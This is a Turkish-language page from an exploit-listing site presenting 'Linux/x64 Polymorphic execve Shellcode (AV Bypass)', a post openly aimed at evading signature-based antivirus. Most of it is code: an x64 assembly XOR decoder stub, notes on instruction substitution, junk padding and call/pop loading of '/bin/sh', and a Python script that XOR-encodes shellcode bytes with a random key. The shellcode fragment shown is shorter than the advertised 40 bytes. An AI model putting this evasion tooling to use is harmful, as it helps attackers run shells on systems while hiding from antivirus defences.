Siber Alem / Detail / 252 / Linux-x64-polymorphic-execve-shellcode-40-bytes-av-bypass
vuln_report_viewer.sh
VULN REPORT / shellcode / ID: 252

Linux/x64 Polymorphic execve Shellcode - 40 Bytes (AV Bypass)

2026-07-21
68 görüntülenme
Doğrulandı
Linux x64

Özet

Bu kayıt, hedef sistemde bulunan bir zafiyeti detaylandırmaktadır. Zafiyet 2026-07-21 tarihinde yayınlanmış olup, topluluktan 68 görüntülenme almıştır. shellcode kategorisinde sınıflandırılmıştır. Kullanıcıların teknik detaylar için Detay sekmesindeki kaynak kodunu incelemeleri önerilir.

exploit_252.txt
<div class="space-y-8 text-slate-800 font-sans leading-relaxed">

  <div class="border-l-4 border-purple-500 pl-5 py-3 bg-purple-50/60 rounded-r-xl">
    <p class="text-xs font-bold uppercase tracking-widest text-purple-700 mb-1">Modern Shellcode - Polimorfik - AV Bypass</p>
    <h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Linux/x64 Polymorphic execve Shellcode - 40 Bytes</h2>
    <p class="text-sm text-slate-600 mt-2">Polimorfik shellcode, her calistirmada farkli byte dizisi uretir ancak islevi ayni kalir. Imza tabanli AV sistemleri sabit byte dizisi arar; polimorfizm bu mantigi kirar.</p>
  </div>

  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Polimorfizm Teknikleri</h3>
    <div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
Teknik 1 - XOR Sifreleme:
  Shellcode XOR ile sifrelenir, basa cozucu kod eklenir.
  Her calistirmada XOR key degisebilir.

Teknik 2 - Instruction Substitution:
  mov eax, 0  xor eax, eax  (ayni sonuc)
  add eax, 1  inc eax       (ayni sonuc)

Teknik 3 - NOP Slide + Junk:
  Islevsiz NOP komutlari arasina asil kod gizlenir.

Teknik 4 - Call/Pop String Loading:
  call sonraki_satir
  db '/bin/sh',0
  sonraki_satir: pop rdi
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">XOR Decoder Stub x64</h3>
    <div class="bg-slate-900 text-green-400 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
; key = 0xAA
decoder:
    lea   rsi, [rel encoded]
    mov   rcx, payload_len
decode_loop:
    xor   byte [rsi], 0xAA
    inc   rsi
    loop  decode_loop
    jmp   encoded
encoded: ; XOR-encoded shellcode buraya
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Python ile Sifreleme</h3>
    <div class="bg-slate-900 text-yellow-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
import os
sc = b"\x48\x31\xff\x57\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68"
key = os.urandom(1)[0]
enc = bytes([b ^ key for b in sc])
print(f"Key: 0x{key:02x}")
print(f"Encoded: {''.join(f'\\x{b:02x}' for b in enc)}")
    </div>
  </div>
</div>

Yazar Profili

HitThemHard
HitThemHard Seçkin Üye
Tüm Gönderilerini Gör

Kayıt İstatistikleri

Görüntülenme 68
İndirmeler 15
Yorumlar 0
Siber Alem V1 Status: Operational | Exploits: 553 (156 Verified)
Ping: 18ms Lang: TR